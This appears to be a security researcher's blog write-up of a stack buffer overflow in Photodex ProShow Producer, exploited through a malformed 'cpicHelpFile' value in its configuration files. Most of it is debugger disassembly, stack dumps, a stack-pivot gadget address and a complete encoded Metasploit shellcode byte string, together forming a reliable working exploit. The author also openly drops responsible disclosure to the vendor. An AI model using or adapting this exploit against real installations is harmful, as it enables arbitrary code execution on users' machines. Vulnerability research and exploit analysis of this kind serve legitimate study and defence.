After my last advisory about the ProShow Producer application by Photodex and the nice Metasploit module created by mr.pr0n, I decided to dig deeper into this application, because the vendor does not care about his product security!
The application is still exposed to the first found vulnerability, even after several updates. So…likewise…I do not further care about a responsible disclosure process with Photodex, it’s just a waste of time!
My newly discovered issue, is quite easy to exploit. For those of you who are interested, here’s a short review of the discovery and exploitation process. By the way the application contains several other security flaws. Let’s expose’em all 😉
When opening the application help via the menu, the application loads the location of the help file from the file “proshow.cfg”. If the file “proshow.phd” also exists the values are crosschecked.
So basically it’s a buffer overflow vulnerability triggered by some malformed input which leads to EIP control:
The vulnerability can be triggered by copying a “proshow.cfg” / “proshow.phd” configuration file with a manipulated “cpicHelpFile” identifier to the application directory and after launching the application by manually navigating to the application help via the menu:
But what happens here ? The vulnerable code snippet:
10091503 |. 68 04010000 PUSH 104 ; /Arg3 = 00000104 10091508 |. 890C30 MOV DWORD PTR DS:[EAX+ESI],ECX ; | 1009150B |. 8B0D 002C2D10 MOV ECX,DWORD PTR DS:[102D2C00] ; |if.102D2C20 10091511 |. 894C30 FC MOV DWORD PTR DS:[EAX+ESI-4],ECX ; | 10091515 |. 8B8C24 1C02000>MOV ECX,DWORD PTR SS:[ESP+21C] ; | 1009151C |. 8906 MOV DWORD PTR DS:[ESI],EAX ; | 1009151E |. 894A 04 MOV DWORD PTR DS:[EDX+4],ECX ; | 10091521 |. C742 08 010000>MOV DWORD PTR DS:[EDX+8],1 ; | 10091528 |. 8D5424 10 LEA EDX,DWORD PTR SS:[ESP+10] ; | 1009152C |. 52 PUSH EDX ; |Arg2 1009152D |. 51 PUSH ECX ; |Arg1 1009152E |. 894C30 F4 MOV DWORD PTR DS:[EAX+ESI-C],ECX ; | 10091532 |. C74430 F8 0100>MOV DWORD PTR DS:[EAX+ESI-8],1 ; | 1009153A |. E8 912F1500 CALL if._ExpandMacroFilename@12 ; \_ExpandMacroFilename@12 1009153F |. 8D4424 0C LEA EAX,DWORD PTR SS:[ESP+C] 10091543 |. 8D8C24 1001000>LEA ECX,DWORD PTR SS:[ESP+110] 1009154A |. 50 PUSH EAX 1009154B |. 68 042C2D10 PUSH if.102D2C04 ; ASCII "hh.exe "mk:@MSITStore:%s"" 10091550 |. 51 PUSH ECX 10091551 |. E8 96EA1800 CALL if.1021FFEC 10091556 |. 83C4 0C ADD ESP,0C 10091559 |. 8D9424 1001000>LEA EDX,DWORD PTR SS:[ESP+110] 10091560 |. 6A 05 PUSH 5 ; /ShowState = SW_SHOW 10091562 |. 52 PUSH EDX ; |CmdLine 10091563 |. FF15 24E22210 CALL DWORD PTR DS:[<&KERNEL32.WinExec>] ; \WinExec 10091569 |. 33C0 XOR EAX,EAX 1009156B |. 3BF8 CMP EDI,EAX 1009156D |. 74 4B JE SHORT if.100915BA 1009156F |. 8B4F 08 MOV ECX,DWORD PTR DS:[EDI+8] 10091572 |. 8B15 002C2D10 MOV EDX,DWORD PTR DS:[102D2C00] ; if.102D2C20 10091578 |. 53 PUSH EBX 10091579 |. 8B19 MOV EBX,DWORD PTR DS:[ECX] 1009157B |. 3BDA CMP EBX,EDX 1009157D |. 5B POP EBX 1009157E |. 74 19 JE SHORT if.10091599 10091580 |. C787 20010100 >MOV DWORD PTR DS:[EDI+10120],OFFSET if.g> 1009158A |. A3 FC2C5910 MOV DWORD PTR DS:[10592CFC],EAX 1009158F |. A3 046D5910 MOV DWORD PTR DS:[10596D04],EAX 10091594 |. A3 0CAD5910 MOV DWORD PTR DS:[1059AD0C],EAX 10091599 |> 8B06 MOV EAX,DWORD PTR DS:[ESI] 1009159B |. 25 FFFF0000 AND EAX,0FFFF 100915A0 |. C74430 08 0000>MOV DWORD PTR DS:[EAX+ESI+8],2000000 100915A8 |. 8B0D 002C2D10 MOV ECX,DWORD PTR DS:[102D2C00] ; if.102D2C20 100915AE |. 894C30 04 MOV DWORD PTR DS:[EAX+ESI+4],ECX 100915B2 |. 83C0 08 ADD EAX,8 100915B5 |. 8906 MOV DWORD PTR DS:[ESI],EAX 100915B7 |. 896F 08 MOV DWORD PTR DS:[EDI+8],EBP 100915BA |> 5F POP EDI 100915BB |. 5E POP ESI 100915BC |. 5D POP EBP 100915BD |. 81C4 08020000 ADD ESP,208 100915C3 \. C2 0400 RETN 4
Let’s examine the different parts: The application first loads the “cpicHelpFile” value from the configuration file, and directly uses that string as an argument for the ExpandMacroFilename() function without a proper input validation:
10091503 |. 68 04010000 PUSH 104 ; /Arg3 = 00000104 10091508 |. 890C30 MOV DWORD PTR DS:[EAX+ESI],ECX ; | 1009150B |. 8B0D 002C2D10 MOV ECX,DWORD PTR DS:[102D2C00] ; |if.102D2C20 10091511 |. 894C30 FC MOV DWORD PTR DS:[EAX+ESI-4],ECX ; | 10091515 |. 8B8C24 1C02000>MOV ECX,DWORD PTR SS:[ESP+21C] ; | 1009151C |. 8906 MOV DWORD PTR DS:[ESI],EAX ; | 1009151E |. 894A 04 MOV DWORD PTR DS:[EDX+4],ECX ; | 10091521 |. C742 08 010000>MOV DWORD PTR DS:[EDX+8],1 ; | 10091528 |. 8D5424 10 LEA EDX,DWORD PTR SS:[ESP+10] ; | 1009152C |. 52 PUSH EDX ; |Arg2 1009152D |. 51 PUSH ECX ; |Arg1 1009152E |. 894C30 F4 MOV DWORD PTR DS:[EAX+ESI-C],ECX ; | 10091532 |. C74430 F8 0100>MOV DWORD PTR DS:[EAX+ESI-8],1 ; | 1009153A |. E8 912F1500 CALL if._ExpandMacroFilename@12 ; \_ExpandMacroFilename@12
ESP ==> > 0184A8F0 |Arg1 = 0184A8F0 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"... ESP+4 > 0012F13C |Arg2 = 0012F13C ESP+8 > 00000104 \Arg3 = 00000104
The ExpandMacroFilename() function then copies the string byte by byte:
101E45A6 |> 8A10 /MOV DL,BYTE PTR DS:[EAX] 101E45A8 |. 881401 |MOV BYTE PTR DS:[ECX+EAX],DL 101E45AB |. 40 |INC EAX 101E45AC |. 84D2 |TEST DL,DL 101E45AE |.^75 F6 \JNZ SHORT if.101E45A6
And fills up the stack:
ESP-C > 0184A8F0 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"... ESP-8 > 0012F13C ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"... ESP-4 > 00000104 ESP ==> > 102CEC5F if.102CEC5F ESP+4 > 00000000 .... ESP+8 > 0012F434 ESP+C > 41414141 AAAA ESP+10 > 41414141 AAAA ESP+14 > 41414141 AAAA ESP+18 > 41414141 AAAA ESP+1C > 41414141 AAAA ESP+20 > 41414141 AAAA ESP+24 > 41414141 AAAA ESP+28 > 41414141 AAAA ESP+2C > 41414141 AAAA
So far, the malformed string did not overwrite anywthing useful. The string is again used as an argument for the Windows HelpFile – System “hh.exe”, which is executed using a Kernel32.WinExec call:
1009153F |. 8D4424 0C LEA EAX,DWORD PTR SS:[ESP+C] 10091543 |. 8D8C24 1001000>LEA ECX,DWORD PTR SS:[ESP+110] 1009154A |. 50 PUSH EAX 1009154B |. 68 042C2D10 PUSH if.102D2C04 ; ASCII "hh.exe "mk:@MSITStore:%s"" 10091550 |. 51 PUSH ECX 10091551 |. E8 96EA1800 CALL if.1021FFEC 10091556 |. 83C4 0C ADD ESP,0C 10091559 |. 8D9424 1001000>LEA EDX,DWORD PTR SS:[ESP+110] 10091560 |. 6A 05 PUSH 5 ; /ShowState = SW_SHOW 10091562 |. 52 PUSH EDX ; |CmdLine 10091563 |. FF15 24E22210 CALL DWORD PTR DS:[<&KERNEL32.WinExec>] ; \WinExec
That’s the reason why the triggered vulnerability will always show a msgbox from the hh.exe stating that the help file couldn’t be found. Anyways I gnore this message for this demonstration.
At the end of the vulnerable code part, the ESP is moved directly into the overwritten part of the stack and ret’ed…
100915BA |> 5F POP EDI 100915BB |. 5E POP ESI 100915BC |. 5D POP EBP 100915BD |. 81C4 08020000 ADD ESP,208 100915C3 \. C2 0400 RETN 4
…which means full application flow control:
ESP-8 > 41414141 AAAA ESP-4 > 41414141 AAAA ESP ==> > 41414141 AAAA ESP+4 > 41414141 AAAA ESP+8 > 41414141 AAAA ESP+C > 41414141 AAAA ESP+10 > 41414141 AAAA
Now an exploit can be developed as usual. A look at the next stack frames shows that there is a pointer to the beginning of the input string at ESP+C4 (yes this is just one way, there are several others):
ESP+AC > 0100DB60 ESP+B0 > 0000DB78 ESP+B4 > 10091490 if._WinHelpDefault@4 ESP+B8 > 0000DB78 ESP+BC > 00000004 ESP+C0 > 0012F58C ESP+C4 > 0190E8B0 ASCII 41,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" ESP+C8 > 009D0000 ESP+CC > 40000060 ESP+D0 > 00000104
Great, just need to find an instruction somewhere in the code to jmp or call this part. A quite good location to look for a matching instruction-set is the if.dnt application file, because it’s not protected by Rebase, SafeSEH, ASLR or NX and it’s always delivered with the application installer, which should serve a quite reliable exploit – ignore the .dnt extension here – it’s just a renamed .dll file:
The mona.py script reveals a useful instruction set @ 0x101af2ba:
#0x101af2ba : {pivot 196 / 0xc4} : # POP EDI # POP ESI # POP EBP # POP EBX # ADD ESP,0B4 # RETN 0x14 ** [if.dnt] **
which jumps directly to ESP+C4 and executes the code starting at this position. Side-Notice: We’ve got only 244 bytes of space for shellcode, beacuse the application terminates the copy-process at some point.
Now the same shellcode already used in my firts exploit can be used to launch a calc.exe:
# windows/exec CMD=calc.exe # Encoder: x86/shikata_ga_nai # powered by Metasploit # msfpayload windows/exec CMD=calc.exe R | msfencode -b '\x00\x0a\x0d' shellcode = ("\xdd\xc1\xbb\x45\x1d\x9a\xae\xd9\x74\x24\xf4\x5d\x2b\xc9" + "\xb1\x33\x31\x5d\x17\x83\xed\xfc\x03\x18\x0e\x78\x5b\x5e" + "\xd8\xf5\xa4\x9e\x19\x66\x2c\x7b\x28\xb4\x4a\x08\x19\x08" + "\x18\x5c\x92\xe3\x4c\x74\x21\x81\x58\x7b\x82\x2c\xbf\xb2" + "\x13\x81\x7f\x18\xd7\x83\x03\x62\x04\x64\x3d\xad\x59\x65" + "\x7a\xd3\x92\x37\xd3\x98\x01\xa8\x50\xdc\x99\xc9\xb6\x6b" + "\xa1\xb1\xb3\xab\x56\x08\xbd\xfb\xc7\x07\xf5\xe3\x6c\x4f" + "\x26\x12\xa0\x93\x1a\x5d\xcd\x60\xe8\x5c\x07\xb9\x11\x6f" + "\x67\x16\x2c\x40\x6a\x66\x68\x66\x95\x1d\x82\x95\x28\x26" + "\x51\xe4\xf6\xa3\x44\x4e\x7c\x13\xad\x6f\x51\xc2\x26\x63" + "\x1e\x80\x61\x67\xa1\x45\x1a\x93\x2a\x68\xcd\x12\x68\x4f" + "\xc9\x7f\x2a\xee\x48\x25\x9d\x0f\x8a\x81\x42\xaa\xc0\x23" + "\x96\xcc\x8a\x29\x69\x5c\xb1\x14\x69\x5e\xba\x36\x02\x6f" + "\x31\xd9\x55\x70\x90\x9e\xaa\x3a\xb9\xb6\x22\xe3\x2b\x8b" + "\x2e\x14\x86\xcf\x56\x97\x23\xaf\xac\x87\x41\xaa\xe9\x0f" + "\xb9\xc6\x62\xfa\xbd\x75\x82\x2f\xde\x18\x10\xb3\x0f\xbf" + "\x90\x56\x50")
inserted into the proshow.cfg:
and into proshow.phd:
And finally this leads to a reliable way of shellcode execution – working fine on Windows XP SP3 and Windows 7 SP1 x64
Photodex ProShow pwned again !! 🙂 🙂